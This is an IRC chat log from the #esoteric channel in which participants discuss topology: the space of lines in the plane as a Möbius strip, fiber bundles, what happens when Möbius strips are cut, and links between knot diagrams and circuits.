264 seconds < 1268334079 0 :sshc_!unknown@unknown.invalid NICK :sshc < 1268334358 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Topology: Proving your childhood dreams impossible since 1736. < 1268334390 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :what did topology do to you now < 1268334394 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well... < 1268334411 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :once a great topologist solved a famous problem by jumping off a bridge < 1268334411 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what was that dream? < 1268334436 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :lament: i _think_ you may have misremembered that story a tiny bit < 1268334452 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :One of my childhood dreams was to come up with a formula that could uniquely represent every line using a pair of real numbers, continuously. < 1268334479 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Unfortunately, the topological space of lines is not equivalent to the topological space of points, so my dream is impossible. < 1268334480 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :one of my childhood dreams was to own a tank. < 1268334483 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, weird childhood dreams < 1268334517 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm are they even the same dimension < 1268334522 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268334530 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The topological space of lines is the punctured real projective plane. < 1268334543 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, and you need more than a pair to identify a line in anything more advanced than "normal" 2D spaces < 1268334556 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm right most lines are defined by where they intersect the x and y axis < 1268334561 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you need a 3-tuple for 3D for example < 1268334578 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and well weird topological spaces, I have nfc? < 1268334584 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The insight I had is that a line can usually be defined by its closest point to the origin. < 1268334591 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/\?/./;s/,/?/; < 1268334593 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i'm sure a 3-tuple is too little for 3D < 1268334593 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :All lines can, except for lines passing through the origin. < 1268334604 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, two of them I mean < 1268334617 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I was talking about data type for the two "things" < 1268334622 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :he said two pairs < 1268334633 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Flip this space inside-out; the horizon becomes a missing point, and the origin becomes the horizon. < 1268334640 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so I pointed out you need something like two 3-tuples for 3D < 1268334650 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and a 3-tuple is not a pair < 1268334666 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I did mean lines in 2D Euclidean space. < 1268334692 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no he said two real numbers < 1268334699 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, well, given two points they represent exactly one line in 2D Euclidean space < 1268334710 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: that is not unique < 1268334716 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, oh I read it as "two pairs" < 1268334728 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, if you mean that there is more than one way to represent the same line: true < 1268334759 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: and two real numbers work for almost every line, but you cannot make it work uniquely and continuously < 1268334767 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(homeomorphically) < 1268334768 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway, you could use y=kx+m as long as the line in question is not vertical < 1268334793 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in which case you could use x=m < 1268334797 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, there are lots of sets of lines that you can do this for. < 1268334805 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You just can't do it for all of them. < 1268334806 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yeah that's one option. no matter what you do you'll either leave out something or duplicate something < 1268334830 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, so provide two variants, one for almost all, and then a variant for the one you can't cover < 1268334845 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: but that doesn't become continuous < 1268334847 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to tell the truth, I fail to see the issue with having to use two different variants < 1268334900 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :There's no "issue" with it. It's just that the problem I posed is to do it continuously. < 1268334902 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, what exactly do you mean with continuous here? The functions in question are each continuous (well, I'm not sure about x=m, but I can't see why it shouldn't be, since here you have x as a function of y...) < 1268334912 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so it must mean something else < 1268334952 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Intuitively, if you're representing lines as pairs of real numbers, "continuous" means that as you move the line around in a continuous manner, the real numbers change in a continuous manner, and vice versa. < 1268334960 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268334970 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well okay, what about using point + vector then? < 1268334980 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and putting some restrictions on where you can place the point < 1268335010 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Try it; there's no way you'll get it down to two points, give a unique representation for every line, and be continuous. < 1268335021 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :such as "if it ever intersects with the y axis, that point should be the base point, otherwise the point where it intersects with the x axis should be used" < 1268335032 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh wait < 1268335038 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :use what I said, but then not a vector < 1268335046 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :instead use the dx/dy value < 1268335073 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or just the angle compared to the x axis in radians < 1268335090 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm, but then you need to tell if it is the x or the y axis that is the base, don't you? < 1268335095 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Right. < 1268335096 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :unless you can encode that in the angle < 1268335100 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which you can < 1268335113 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The thing is though, you can't uniquely, continuously represent angles. < 1268335118 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if the angle is pi/2 then it passes the x axis < 1268335134 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, oh well I guess that either it isn't unique or it jumps, true < 1268335140 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Right. < 1268335164 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, but what about dx/dy? < 1268335220 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, how are you going to make that work for vertical lines? < 1268335236 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :would you accept using R extended with infinity? < 1268335247 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Nope; that's a different problem. < 1268335253 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hrrm < 1268335277 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, actually it is simple, for vertical line it reduces to a single number < 1268335297 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, the problem says you have to give a pair of numbers. < 1268335334 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hrrm < 1268335354 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Gee. I think the topological space of lines is a Mobius strip. < 1268335371 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: there are a million (understatement) ways of hacking around this. there is however no continuous, bijective mapping from R^2 to the space of lines in R^2. < 1268335436 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(the inverse is automatically continuous so it would have to be a homeomorphism, see http://en.wikipedia.org/wiki/Invariance_of_domain) < 1268335439 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :this is trivial if you only have positive x and y values < 1268335455 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and may have negative values in the pair < 1268335499 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Technically, I never said that every pair of real numbers must represent a line, only vice versa. < 1268335508 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because then you can represent which axis it passes as a single number, + for y and - for x, and abs(that value) is where along said axis < 1268335509 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ah. < 1268335529 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and you can select some suitable way to represent the direction < 1268335545 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh wait, it wouldn't be continuous... < 1268335570 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : AnMaster: there are a million (understatement) ways of hacking around this. there is however no continuous, bijective mapping from R^2 to the space of lines in R^2. <-- has this been proven? < 1268335573 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. If you ignore all lines that don't pass through the firt quadrant, you can do it easily. < 1268335601 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i assume uorygl discovered the theorem and that's what started it. i don't recall it myself. < 1268335613 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*started this discussion. < 1268335620 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, well yes I gave an idea for it above, but not sure how to represent the direction of said line in a continuous way < 1268335646 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and, it would run into issues for lines crossing both x and y axis in said quadrant < 1268335658 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sure you could give one preference, but then it would jump < 1268335738 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Okay, I think the topological space of lines can be represented more elegantly as a Mobius strip. < 1268335753 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION suspects this is possible with complex numbers btw
< 1268335758 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I'm not certain < 1268335770 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, how do you mean? < 1268335772 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Topologically, a complex number is just a pair of real numbers. < 1268335810 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, well yes, but don't forget that you get 4 numbers that way < 1268335815 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Right. < 1268335819 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, your angle around the Mobius strip is the angle of the line; rotating the line by 180 degrees takes you all the way around the strip. < 1268335827 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wait, actually, a 3-tuple or a complex number and a real one might be enough < 1268335837 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And then your distance above the Mobius strip's center line is your distance above the origin. < 1268335858 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And you can s/above/to the right of/ as necessary. < 1268335881 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And I think you'll agree that it's impossible to lie a Mobius strip flat. < 1268335883 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm btw < 1268335905 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :an infinitely long and infinitely wide Mobius strip sounds interesting < 1268335909 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Actually proving that it's impossible to lie a Mobius strip flat is probably really difficult... < 1268335911 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION cannot recall the technical name for the space of lines in R^2
< 1268335929 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: what does it mean for a circle to be infinitely long? < 1268335943 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, well, I'm not a topologist, I don't know < 1268335947 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I leave it to them to work it out < 1268335972 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, it doesn't need to be infinitely wide; the entire real line can be compressed continuously into an interval line (0,1). < 1268335982 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Which is what the atan and tanh functions do. < 1268335994 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : And I think you'll agree that it's impossible to lie a Mobius strip flat. <-- I disagree < 1268336003 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as you didn't give any surface < 1268336010 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it could lie flat on another Mobius strip < 1268336014 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :with a suitable size < 1268336019 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Mmkay, it's impossible to lie it flat on a plane. < 1268336040 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, well that is a completely different statement :P < 1268336087 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :btw, I have to say I never, ever, used (sin|cos|tan)h < 1268336098 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Wait, I don't think it's possible to lie one Mobius strip flat onto another. < 1268336102 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, oh? < 1268336107 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION gets some paper
< 1268336133 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: identity function < 1268336150 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: it's impossible to place two physical objects in the same place. < 1268336157 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh wait hm < 1268336167 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :One strip would end up on one side, the other strip would end up on the other side. < 1268336172 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :But there's only one side, so that doesn't work. < 1268336174 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yes you cannot do it in R^3 < 1268336215 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, oh *physical* one? < 1268336237 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Physical ones, yeah. < 1268336257 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, then it could lie flat on some weird 4D surface probably < 1268336308 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or an object of suitable shape in 3D. though probably that object would need to be assembled around said Möbius strip < 1268336333 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.55.9544 < 1268336357 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although it cannot be that which is the actual theorem of that paper... far too new < 1268336362 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, also I think Mobius is actually an incorrect name for it. Möbius seems to be what wikipedia uses, and also is what is used in Sweden for it < 1268336418 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: the abstract sort of implies that that is indeed a new theorem. < 1268336429 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Since it says that it has implications. < 1268336440 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: but that is ridiculous < 1268336448 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's far too simple to be new < 1268336473 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the implications could be new though < 1268336479 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I'll go around asking my professors how long it's been known that the space of lines in R^2 is isomorphic to the Mobius strip. :P < 1268336504 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that isomorphy seems weird to me < 1268336533 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i'm sure it's well-known. in fact i'm sure i've seen a name for that space but i cannot remember it < 1268336544 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Yes, that space is called the Mobius strip. < 1268336545 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION coughs.
< 1268336556 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION swats uorygl -----###
< 1268336573 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :not just the topological space, silly < 1268336599 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, now I wonder about the space of planes in R^3. < 1268336635 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, well, a point and a normal vector to the plane works < 1268336647 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or a point and two vectors < 1268336657 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: i'm sure those were just special cases of the notation i'm looking for :( < 1268336691 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I guess the space of planes in R^3 forms a sort of analogue to the Mobius strip. < 1268336757 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What do you call a topological space that looks locally like a product space? < 1268336780 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm what about a Möbius strip but with one of the ends in the "join" rotated 180 degrees? No not in the direction where you get a "normal" circle of paper. I mean rotate with the overlapping ends laying flat on top of each other < 1268336811 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in one direction you get a trivial loop, but the other direction looks quite interesting < 1268336832 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It sounds like you mean a two-twist Mobius strip. < 1268336844 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and if you rotate a full 360 degrees you get a two-twist one yeah < 1268336848 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268336876 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wait... < 1268336879 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that can't be right < 1268336886 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: fiber < 1268336895 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Right, right, a fiber bundle. < 1268336921 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A Mobius strip is a "fiber product" of a real projective line and a line segment. < 1268336931 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :isn't something weird supposed to happen if you cut a Möbius strip along the middle iirc? < 1268336935 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Likewise, this 3D Mobius strip would be a fiber product of the real projective plane and a line segment. < 1268336947 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I can't check since I can't locate any scissors atm < 1268336965 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: a two-twist mobius strip is topologically identical to a non-twisted one, it's just the embedding into 3D space which is different < 1268336973 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If you do that, I think you get an ordinary, untwisted strip, except maybe entangled with itself in some strange way. < 1268336987 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I mean, you get something topologically identical to an ordinary strip. < 1268337040 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, yes you get a single strip, with a few twists it seems < 1268337053 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268337056 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it seems one sided < 1268337071 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :at least my thumb following it passed both sides of the joined up point < 1268337078 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: incidentally your space of planes in R^3 etc. is obviously some kind of fibre bundle in the same way - just take the plane and _translate_ it to origo to get a map onto something projective < 1268337088 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wait no < 1268337098 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I forgot there are now two joined up points < 1268337106 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*origin < 1268337133 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's definitely two-sided. < 1268337185 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and if you cut this one one in half you seem to get two loops that are entangled with each other < 1268337205 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which seems fairly interesting < 1268337240 0 :cal153!unknown@unknown.invalid QUIT : < 1268337245 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyone care to explain why these things happen < 1268337246 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :? < 1268337260 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in a way that doesn't require me to learn topology first < 1268337290 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Imagine coloring the paper strip red and blue... < 1268337297 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sure < 1268337302 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the two sided one? < 1268337308 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Any paper strip. < 1268337311 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So that on each side, it's red on one half and blue on the other half, and the dividing line runs down the strip. < 1268337317 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268337320 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268337326 0 :sshc_!~sshc@unaffiliated/sshc JOIN :#esoteric < 1268337327 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And when you flip the paper strip over, the colors don't switch places. < 1268337343 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So no matter how you twist this strip of paper before joining it, the colors match. < 1268337359 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And then if you cut down the dividing line, you always end up with something that's red on one side and blue on the other. < 1268337362 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, oh, is that physically possible? < 1268337391 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Physically possible to color it that way? < 1268337398 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268337411 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Sure, as long as the colors go on top of the paper, not in it. < 1268337416 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Use paint, not dye. < 1268337421 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I would assume not wrt. that " So no matter how you twist this strip of paper before joining it, the colors match." < 1268337437 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because if you twist it half a turn that won't work would it? < 1268337448 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268337451 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :They still match if you twist it 180 degrees. < 1268337463 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the paper is differently colored on each side < 1268337485 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I'm tempted to make such a strip of paper and then make a video. < 1268337494 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh yeah true < 1268337496 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it does work < 1268337510 0 :sshc!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268337514 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i was confused like you for a moment there < 1268337520 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, how do we go on from there < 1268337527 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to the original question I asked < 1268337541 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, heh < 1268337568 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well now what happens when you cut that strip along the dividing line? < 1268337613 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :now you suddenly have a strip with consistent coloring on each side - so it must be a two-sided strip < 1268337614 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if joined together as a möbius one, then it would end up as a two sided double twisted thingy I assume? < 1268337622 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not sure where the colours would end up < 1268337650 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The colors would end up one on one side, the other on the other side. :P < 1268337659 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, ah < 1268337675 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and then what about that new one going to two intertwinned loops? < 1268337687 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which was what I was actually asking about < 1268337695 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not the one sided -> two sided < 1268337702 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but the next "transformation" < 1268337766 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Colors don't help you determine whether the loops are intertwined or not. < 1268337812 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, well then what does < 1268337813 0 :gm|lap!~gm@unaffiliated/greasemonkey JOIN :#esoteric < 1268337831 0 :charlls!~charlls@201.226.222.132 JOIN :#esoteric < 1268337833 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION assumes knot theory :D
< 1268337858 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, which sounds like topology on steroids. < 1268337910 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :topology contains things far weirded than knots < 1268337914 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*weirder < 1268337934 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what use is this btw? I mean, outside mathematics < 1268337939 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I don't know. Stuff like knot theory is kind of difficult, because if you're inside a knot, you can't tell that you're inside a knot. < 1268337957 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Sometimes, math, though interesting, is absolutely useless. < 1268337974 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :In the real world, you sometimes need to embed one space into another. < 1268337988 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, examples? < 1268338007 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Suppose you have a circuit shaped like a Mobius strip, and you have to make it into a two-dimensional integrated circuit. < 1268338020 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the only thing that vaguely rings a bell with knots is string theory, which doesn't exactly help < 1268338021 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Or maybe it's shaped like a torus. < 1268338026 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :How many layers do you need? < 1268338037 0 :sshc_!unknown@unknown.invalid NICK :sshc < 1268338044 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268338050 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :With a Mobius strip, you need two layers; with a torus, you need four; with a just plain strip, you only need one. < 1268338070 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: oh right, but that's more a planar graph thing than knot theory isn't it < 1268338087 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :There's an interesting and strange isomorphism between knot diagrams and circuit diagrams. < 1268338090 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, I never seen anyone beginning by designing an IC circuit on anything but a flat surface, but I'm no expert in that field < 1268338120 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or maybe those are deeply connected fields, sounds sensible actually < 1268338122 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: sometimes, you want to build a circuit reflecting an existing topological space, like if you want to build a circuit for cellular automata. < 1268338162 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268338193 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: why would you need four with a torus, don't you just take one layer with the upper half and one with the lower half < 1268338197 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :however, I'm not sure things like game of life on a torus would count as a "real world application" :P < 1268338212 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: hmm, quite right. < 1268338234 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, this isomorphism. Your knot diagram's edges rope off regions; the regions we're interested are the ones where to get to the outside of the knot diagram, you need to cross an odd number of edges. < 1268338239 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, what about the join in the other direction? < 1268338255 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, as in, what you said works for a tube, but I'm not sure about a torus < 1268338270 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :These regions become nodes in the circuit diagram. Wherever there's a crossing, two of these regions meet; the crossing becomes a resistor connecting the two nodes. < 1268338277 0 